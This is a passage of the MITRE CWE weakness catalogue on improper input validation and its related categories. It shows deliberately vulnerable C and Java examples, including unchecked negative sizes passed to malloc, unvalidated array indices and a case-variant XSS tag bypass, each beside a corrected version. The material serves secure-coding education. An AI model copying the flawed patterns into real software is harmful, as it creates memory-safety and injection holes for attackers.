The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.

Example 2:

This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

Example Language: C *(bad)*

```
...
#define MAX_DIM 100
...
/* board dimensions */
int m,n, error;
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
    die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
...
```

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.

Observed Examples

Reference	Description
CVE-2008-1440	lack of validation of length field leads to infinite loop *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1440*
CVE-2008-2374	lack of validation of string length fields allows memory consumption or buffer over-read *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2374*

CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input

Weakness ID : 1285 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product receives input that is expected to specify an index, position, or offset into an indexable resource such as a buffer or file, but it does not validate or incorrectly validates that the specified index/position/offset has the required properties.

Extended Description

Often, indexable resources such as memory buffers or files can be accessed using a specific position, index, or offset, such as an index for an array or a position for a file. When untrusted input is not properly validated before it is used as an index, attackers could access (or attempt to access) unauthorized portions of these resources. This could be used to cause buffer overflows, excessive resource allocation, or trigger unexpected failures.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

ParentOf	V	781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code	1449

Applicable Platforms

Language : Language-Independent *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness = High

Demonstrative Examples

Example 1:

The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size, the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index.

Example Language: C *(bad)*

```
/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    ...
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)
    {
        // continue read from socket until buf only contains '.'
        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2)
            sizes[num - 1] = size;
    }
        ...
}
```

In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. The value of the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

Example Language: C *(good)*

```
/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    ...
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)
    {
        // continue read from socket until buf only contains '.'
        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2) {
            if (num > 0 && num <= (unsigned)count)
                sizes[num - 1] = size;
            else
                /* warn about possible attempt to induce buffer overflow */
                report(stderr, "Warning: ignoring bogus data for message sizes returned by server.\n");
        }
    }
        ...
}
```

Example 2:

In the following example the method displayProductSummary is called from a Web service servlet to retrieve product summary information for display to the user. The servlet obtains the integer value of the product number from the user and passes it to the displayProductSummary method. The displayProductSummary method passes the integer value of the product number to the getProductSummary method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index.

Example Language: Java *(bad)*

```
// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("");
    try {
```

```
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    return products[index];
}
```

In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

Example Language: Java *(good)*

```
// Method called from servlet to obtain product information
public String displayProductSummary(int index) {
    String productSummary = new String("");
    try {
        String productSummary = getProductSummary(index);
    } catch (Exception ex) {...}
    return productSummary;
}
public String getProductSummary(int index) {
    String productSummary = "";
    if ((index >= 0) && (index < MAX_PRODUCTS)) {
        productSummary = products[index];
    }
    else {
        System.err.println("index is out of bounds");
        throw new IndexOutOfBoundsException();
    }
    return productSummary;
}
```

An alternative in Java would be to use one of the collection objects such as ArrayList that will automatically generate an exception if an attempt is made to access an array index that is out of bounds.

Example Language: Java *(good)*

```
ArrayList productArray = new ArrayList(MAX_PRODUCTS);
...
try {
    productSummary = (String) productArray.get(index);
} catch (IndexOutOfBoundsException ex) {...}
```

Example 3:

The following example asks a user for an offset into an array to select an item.

Example Language: C *(bad)*

```
int main (int argc, char **argv) {
    char *items[] = {"boat", "car", "truck", "train"};
    int index = GetUntrustedOffset();
    printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Observed Examples

Reference	Description
CVE-2005-0369	large ID in packet used as array index *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0369*
CVE-2001-1009	negative array index as argument to POP LIST command *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1009*

CWE-1286: Improper Validation of Syntactic Correctness of Input

Weakness ID : 1286 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product receives input that is expected to be well-formed - i.e., to comply with a certain syntax - but it does not validate or incorrectly validates that the input complies with the syntax.

Extended Description

Often, complex inputs are expected to follow a particular syntax, which is either assumed by the input itself, or declared within metadata such as headers. The syntax could be for data exchange formats, markup languages, or even programming languages. When untrusted input is not properly validated for the expected syntax, attackers could cause parsing failures, trigger unexpected errors, or expose latent vulnerabilities that might not be directly exploitable if the input had conformed to the syntax.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19
ParentOf	B	112	Missing XML Validation	249

Applicable Platforms

Language : Language-Independent *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the

full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness = High

Demonstrative Examples

Example 1:

The following code loads and parses an XML file.

Example Language: Java *(bad)*

```
// Read DOM
try {
    ...
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setValidating( false );
    ....
    c_dom = factory.newDocumentBuilder().parse( xmlFile );
} catch(Exception ex) {
    ...
}
```

The XML file is loaded without validating it against a known XML Schema or DTD.

Observed Examples

Reference	Description
CVE-2007-5893	HTTP request with missing protocol version number leads to crash *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5893*

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

CWE-1287: Improper Validation of Specified Type of Input

Weakness ID : 1287 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product receives input that is expected to be of a certain type, but it does not validate or incorrectly validates that the input is actually of the expected type.

Extended Description

When input does not comply with the expected type, attackers could trigger unexpected errors, cause incorrect actions to take place, or exploit latent vulnerabilities that would not be possible if the input conformed with the expected type.

This weakness can appear in type-unsafe programming languages, or in programming languages that support casting or conversion of an input to another type.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Notes

Maintenance

This entry is still under development and will continue to see updates and content improvements.

CWE-1288: Improper Validation of Consistency within Input

Weakness ID : 1288 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product receives a complex input with multiple elements or fields that must be consistent with each other, but it does not validate or incorrectly validates that the input is actually consistent.

Extended Description

Some input data can be structured with multiple elements or fields that must be consistent with each other, e.g. a number-of-items field that is followed by the expected number of elements. When such complex inputs are inconsistent, attackers could trigger unexpected errors, cause incorrect actions to take place, or exploit latent vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1289: Improper Validation of Unsafe Equivalence in Input

Weakness ID : 1289 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product receives an input value that is used as a resource identifier or other type of reference, but it does not validate or incorrectly validates that the input is equivalent to a potentially-unsafe value.

Extended Description

Attackers can sometimes bypass input validation schemes by finding inputs that appear to be safe, but will be dangerous when processed at a lower layer or by a downstream component. For example, a simple XSS protection mechanism might try to validate that an input has no "<script>" tags using case-sensitive matching, but since HTML is case-insensitive when processed by web browsers, an attacker could injest "<ScrIpT>" and trigger XSS.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Categories

Category-2: 7PK - Environment

Category ID : 2 **Status:** Draft

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that are typically introduced during unexpected environmental conditions. According to the authors of the Seven Pernicious Kingdoms, "This section includes everything that is outside of the source code but is still critical to the security of the product that is being created. Because the issues covered by this kingdom are not directly related to source code, we separated it from the rest of the kingdoms."

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	14		Server Misconfiguration
WASC	15		Application Misconfiguration

Notes

Maintenance

Further discussion about this category was held over the CWE Research mailing list in early 2020. No definitive action has been decided.

Maintenance

This entry is a Category, but various sources map to it anyway despite CWE guidance that Categories should not be mapped. In this case, there are no clear CWE Weaknesses that can be utilized. "Inappropriate Configuration" might be better described as a Weakness, so this entry might be converted to a Weakness in a later version. Further research is required, however, as a "configuration weakness" might be Primary to many other CWEs, i.e., it might be better described in terms of chaining relationships.

Category-19: Data Processing Errors

Category ID : 19 **Status:** Draft

Summary

Weaknesses in this category are typically found in functionality that processes data. Data processing is the manipulation of input to retrieve or save information.

Category-227: 7PK - API Abuse

Category ID : 227 **Status:** Draft

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that involve the software using an API in a manner contrary to its intended use. According to the authors of the Seven Pernicious Kingdoms, "An API is a contract between a caller and a callee. The most common forms of API misuse occurs when the caller does not honor its end of this contract. For example, if a program does not call chdir() after calling chroot(), it violates the contract that specifies how to change the active root directory in a secure fashion. Another good example of library abuse is expecting the callee to return trustworthy DNS information to the caller. In this case, the caller misuses the callee API by making certain assumptions about its behavior (that the return value can be used for authentication purposes). One can also violate the caller-callee contract from the other side. For example, if a coder subclasses SecureRandom and returns a non-random value, the contract is violated."

Category-265: Privilege Issues

Category ID : 265 **Status:** Incomplete

Summary

Weaknesses in this category occur with improper handling, assignment, or management of privileges. A privilege is a property of an agent, such as a user. It lets the agent do things that are not ordinarily allowed. For example, there are privileges which allow an agent to perform maintenance functions such as restart a computer.

HasMember	B	648	Incorrect Use of Privileged APIs	699	1271

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Privilege / sandbox errors

Notes

Relationship

This can strongly overlap authorization errors.

Theoretical

A sandbox could be regarded as an explicitly defined sphere of control, in that the sandbox only defines a limited set of behaviors, which can only access a limited set of resources.

Theoretical

It could be argued that any privilege problem occurs within the context of a sandbox.

Research Gap

Many of the following concepts require deeper study. Most privilege problems are not classified at such a low level of detail, and terminology is very sparse. Certain classes of software, such as web browsers and software bug trackers, provide a rich set of examples for further research. Operating systems have matured to the point that these kinds of weaknesses are rare, but finer-grained models for privileges, capabilities, or roles might introduce subtler issues.

Category-275: Permission Issues

Category ID : 275 **Status:** Draft

Summary

Weaknesses in this category are related to improper assignment or handling of permissions.

Membership

PLOVER			Permission errors
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

Notes

Terminology

Permissions are associated with a resource and specify which actors are allowed to access that resource and what they are allowed to do with that access (e.g., read it, modify it). While Privileges are associated with an actor and define which behaviors or actions an actor is allowed to perform.

Category-310: Cryptographic Issues

Category ID : 310 **Status:** Draft

Summary

Weaknesses in this category are related to the design and implementation of data confidentiality and integrity. Frequently these deal with the use of encoding techniques, encryption libraries, and hashing algorithms. The weaknesses in this category could lead to a degradation of the quality data if they are not addressed.

Category-361: 7PK - Time and State

Category ID : 361 **Status:** Incomplete

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses related to the improper management of time and state in an environment that supports simultaneous or near-simultaneous computation by multiple systems, processes, or threads. According to the authors of the Seven Pernicious Kingdoms, "Distributed computation is about time and state. That is, in order for more than one component to communicate, state must be shared, and all that takes time. Most programmers anthropomorphize

their work. They think about one thread of control carrying out the entire program in the same way they would if they had to do the job themselves. Modern computers, however, switch between tasks very quickly, and in multi-core, multi-CPU, or distributed systems, two events may take place at exactly the same time. Defects rush to fill the gap between the programmer's model of how a program executes and what happens in reality. These defects are related to unexpected interactions between threads, processes, time, and information. These interactions happen through shared state: semaphores, variables, the file system, and, basically, anything that can store information."

Notes

Maintenance

Several sub-categories could exist, but this needs more study. Some sub-categories might be unhandled signals, untrusted signals, and sending the wrong signals.

Category-388: 7PK - Errors

Category ID : 388 **Status:** Draft

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that occur when an application does not properly handle errors that occur during processing. According to the authors of the Seven Pernicious Kingdoms, "Errors and error handling represent a class of API. Errors related to error handling are so common that they deserve a special kingdom of their own. As with 'API Abuse,' there are two ways to introduce an error-related security vulnerability: the most common one is handling errors poorly (or not at all). The second is producing errors that either give out too much information (to possible attackers) or are difficult to handle."

Category-389: Error Conditions, Return Values, Status Codes

Category ID : 389 **Status:** Incomplete

Summary

This category includes weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. This type of problem is most often found in conditions that are rarely encountered during the normal operation of the product. Presumably, most bugs related to common conditions are found and eliminated during development and testing. In some cases, the attacker can directly control or influence the environment to trigger the rare conditions.

HasMember	B	756	Missing Custom Error Page	699	1390
HasMember	B	1069	Empty Exception Block	699	1670

Notes

Other

Many researchers focus on the resultant weaknesses and do not necessarily diagnose whether a rare condition is the primary factor. However, since 2005 it seems to be reported more frequently than in the past. This subject needs more study.

Category-398: 7PK - Code Quality

Category ID : 398 **Status:** Draft

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that do not directly introduce a weakness or vulnerability, but indicate that the product has not been carefully developed or maintained. According to the authors of the Seven Pernicious Kingdoms, "Poor code quality leads to unpredictable behavior. From a user's perspective that often manifests itself as poor usability. For an adversary it provides an opportunity to stress the system in unexpected ways."

Category-417: Communication Channel Errors

Category ID : 417 **Status:** Draft

Summary

Weaknesses in this category are related to improper handling of communication channels and access paths. These weaknesses include problems in creating, managing, or removing alternate channels and alternate paths. Some of these can overlap virtual file problems and are commonly used in "bypass" attacks, such as those that exploit authentication errors.

Category-485: 7PK - Encapsulation

Category ID : 485 **Status:** Draft

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that occur when the product does not sufficiently encapsulate

critical data or functionality. According to the authors of the Seven Pernicious Kingdoms, "Encapsulation is about drawing strong boundaries. In a web browser that might mean ensuring that your mobile code cannot be abused by other mobile code. On the server it might mean differentiation between validated data and unvalidated data, between one user's data and another's, or between data users are allowed to see and data that they are not."

Membership

HasMember	V	495	Private Data Structure Returned From A Public Method	700	1059
HasMember	V	496	Public Data Assigned to Private Array-Typed Field	700	1061
HasMember	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	700	1062
HasMember	B	501	Trust Boundary Violation	700	1071

Notes

Other

The "encapsulation" term is used in multiple ways. Within some security sources, the term is used to describe the establishment of boundaries between different control spheres. Within general computing circles, it is more about hiding implementation details and maintainability than security. Even within the security usage, there is also a question of whether "encapsulation" encompasses the entire range of security problems.

Category-735: CERT C Secure Coding Standard (2008) Chapter 2 - Preprocessor (PRE)

Category ID : 735 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Preprocessor (PRE) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	C	684	Incorrect Provision of Specified Functionality	734	1332

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-684 PRE09-C Do not replace secure functions with less secure functions

References

[REF-597]Robert C. Seacord. "The CERT C Secure Coding Standard". 1st Edition. 2008 October 4. Addison-Wesley Professional.

Category-736: CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)

Category ID : 736 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Declarations and Initialization (DCL) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	V	547	Use of Hard-coded, Security-relevant Constants	734	1120
HasMember	B	628	Function Call with Incorrectly Specified Arguments	734	1243
HasMember	V	686	Function Call With Incorrect Argument Type	734	1334

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-547 DCL06-C Use meaningful symbolic constants to represent literal values in program logic CWE-628 DCL10-C Maintain the contract between the writer and caller of variadic functions CWE-686 DCL35-C Do not invoke a function using a type that does not match the function definition

Category-737: CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)

Category ID : 737 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Expressions (EXP) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	V	467	Use of sizeof() on a Pointer Type	734	989
HasMember	B	468	Incorrect Pointer Scaling	734	992
HasMember	B	476	NULL Pointer Dereference	734	1009
HasMember	B	628	Function Call with Incorrectly Specified Arguments	734	1243
HasMember	C	704	Incorrect Type Conversion or Cast	734	1357
HasMember	B	783	Operator Precedence Logic Error	734	1453

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-467 EXP01-C Do not take the size of a pointer to determine the size of the pointed-to type CWE-468 EXP08-C Ensure pointer arithmetic is used correctly CWE-476 EXP34-C Ensure a null pointer is not dereferenced CWE-628 EXP37-C Call functions with the arguments intended by the API CWE-704 EXP05-C Do not cast away a const qualification CWE-783 EXP00-C Use parentheses for precedence of operation

Category-739: CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)

Category ID : 739 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Floating Point (FLP) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	B	369	Divide By Zero	734	818
HasMember	B	681	Incorrect Conversion between Numeric Types	734	1322
HasMember	P	682	Incorrect Calculation	734	1326
HasMember	V	686	Function Call With Incorrect Argument Type	734	1334

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-369 FLP03-C Detect and handle floating point errors CWE-681 FLP33-C Convert integers to floating point for floating point operations CWE-681 FLP34-C Ensure that floating point conversions are within range of the new type CWE-682 FLP32-C Prevent or detect domain and range errors in math functions CWE-682 FLP33-C Convert integers to floating point for floating point operations CWE-686 FLP31-C Do not call functions expecting real values with complex values

Category-740: CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)

Category ID : 740 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Arrays (ARR) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	271
HasMember	V	129	Improper Validation of Array Index	734	312
HasMember	V	467	Use of sizeof() on a Pointer Type	734	989
HasMember	B	469	Use of Pointer Subtraction to Determine Size	734	994
HasMember	C	665	Improper Initialization	734	1293
HasMember	B	805	Buffer Access with Incorrect Length Value	734	1497

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-119 ARR00-C Understand how arrays work CWE-119 ARR33-C Guarantee that copies are made into storage of sufficient size CWE-119 ARR34-C Ensure that array types in expressions are compatible CWE-119 ARR35-C Do not allow loops to iterate beyond the end of an array CWE-129 ARR00-C Understand how arrays work CWE-129 ARR30-C Guarantee that array indices are within the valid range CWE-129 ARR38-C Do not add or subtract an integer to a pointer if the resulting value does not refer to a valid array element CWE-467 ARR01-C Do not apply the sizeof operator to a pointer when taking the size of an array CWE-469 ARR36-C Do not subtract or compare two pointers that do not refer to the same array CWE-469 ARR37-C Do not add or subtract an integer to a pointer to a non-array object CWE-665 ARR02-C Explicitly specify array bounds, even if implicitly defined by an initializer CWE-805 ARR33-C Guarantee that copies are made into storage of sufficient size

Category-741: CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)

Category ID : 741 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Characters and Strings (STR) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	734	141
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	734	181
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	271
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	734	280
HasMember	B	135	Incorrect Calculation of Multi-Byte String Length	734	339
HasMember	B	170	Improper Null Termination	734	395
HasMember	B	193	Off-by-one Error	734	449
HasMember	B	464	Addition of Data Structure Sentinel	734	986
HasMember	V	686	Function Call With Incorrect Argument Type	734	1334
HasMember	C	704	Incorrect Type Conversion or Cast	734	1357

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-78 STR02-C Sanitize data passed to complex subsystems CWE-88 STR02-C Sanitize data passed to complex subsystems CWE-119 STR31-C Guarantee that storage for strings has sufficient space for character data and the null terminator CWE-119 STR32-C Null-terminate byte strings as required CWE-119 STR33-C Size wide character strings

correctly CWE-120 STR35-C Do not copy data from an unbounded source to a fixed-length array CWE-135 STR33-C Size wide character strings correctly CWE-170 STR03-C Do not inadvertently truncate a null-terminated byte string CWE-170 STR32-C Null-terminate byte strings as required CWE-193 STR31-C Guarantee that storage for strings has sufficient space for character data and the null terminator CWE-464 STR03-C Do not inadvertently truncate a null-terminated byte string CWE-464 STR06-C Do not assume that strtok() leaves the parse string unchanged CWE-686 STR37-C Arguments to character handling functions must be representable as an unsigned char CWE-704 STR34-C Cast characters to unsigned types before converting to larger integer sizes CWE-704 STR37-C Arguments to character handling functions must be representable as an unsigned char

Category-742: CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)

Category ID : 742 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Memory Management (MEM) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	C	20	Improper Input Validation	734	19
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	734	271
HasMember	B	128	Wrap-around Error	734	309
HasMember	B	131	Incorrect Calculation of Buffer Size	734	325
HasMember	B	190	Integer Overflow or Wraparound	734	437
HasMember	B	226	Sensitive Information Uncleared in Resource Before Release for Reuse	734	517
HasMember	V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	734	540
HasMember	B	252	Unchecked Return Value	734	553
HasMember	V	415	Double Free	734	901
HasMember	V	416	Use After Free	734	904
HasMember	B	476	NULL Pointer Dereference	734	1009
HasMember	V	528	Exposure of Core Dump File to an Unauthorized Control Sphere	734	1100
HasMember	V	590	Free of Memory not on the Heap	734	1179
HasMember	V	591	Sensitive Data Storage in Improperly Locked Memory	734	1182
HasMember	B	628	Function Call with Incorrectly Specified Arguments	734	1243
HasMember	C	665	Improper Initialization	734	1293
HasMember	V	687	Function Call With Incorrectly Specified Argument Value	734	1335
HasMember	C	754	Improper Check for Unusual or Exceptional Conditions	734	1381

Notes

Relationship

In the 2008 version of the CERT C Secure Coding standard, the following rules were mapped to the following CWE IDs: CWE-20 MEM10-C Define and use a pointer validation function CWE-119 MEM09-C Do not assume memory allocation routines initialize memory CWE-128 MEM07-C Ensure that the arguments to calloc(), when multiplied, can be represented as a size_t CWE-131 MEM35-C Allocate sufficient memory for an object CWE-190 MEM07-C Ensure that the arguments to calloc(), when multiplied, can be represented as a size_t CWE-190 MEM35-C Allocate sufficient memory for an object CWE-226 MEM03-C Clear sensitive information stored in reusable resources returned for reuse CWE-244 MEM03-C Clear sensitive information stored in reusable resources returned for reuse CWE-252 MEM32-C Detect and handle memory allocation errors CWE-415 MEM00-C Allocate and free memory in the same module, at the same level of abstraction CWE-415 MEM01-C Store a new value in pointers immediately after free() CWE-415 MEM31-C Free dynamically allocated memory exactly once CWE-416 MEM00-C Allocate and free memory in the same module, at the same level of abstraction CWE-416 MEM01-C Store a new value in pointers immediately after free() CWE-416 MEM30-C Do not access freed memory CWE-476 MEM32-C Detect and handle memory allocation errors CWE-528 MEM06-C Ensure that sensitive data is not written out to disk CWE-590 MEM34-C Only free memory allocated dynamically CWE-591 MEM06-C Ensure that sensitive data is not written out to disk CWE-628 MEM08-C Use realloc() only to resize dynamically allocated arrays CWE-665 MEM09-C Do not assume memory allocation routines initialize memory CWE-687 MEM04-C Do not perform zero length allocations CWE-754 MEM32-C Detect and handle memory allocation errors

Category-743: CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)

Category ID : 743 **Status:** Obsolete

Summary

Weaknesses in this category are related to the rules and recommendations in the Input Output (FIO) chapter of the CERT C Secure Coding Standard (2008).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	734	Weaknesses Addressed by the CERT C Secure Coding Standard (2008)	734	2030
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	734	31
HasMember	V	37	Path Traversal: '/absolute/pathname/here'	734	73
HasMember	V	38	Path Traversal: '\absolute\pathname\here'	734	75
HasMember	V	39	Path Traversal: 'C:dirname'	734	77
HasMember	B	41	Improper Resolution of Path Equivalence	734	81
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	734	106
HasMember	V	62	UNIX Hard Link	734	112
HasMember	V	64	Windows Shortcut Following (.LNK)	734	114
HasMember	V	65	Windows Hard Link	734	116
HasMember	V	67	Improper Handling of Windows Device Names	734	120

Nature	Type	ID	Name	V	Page
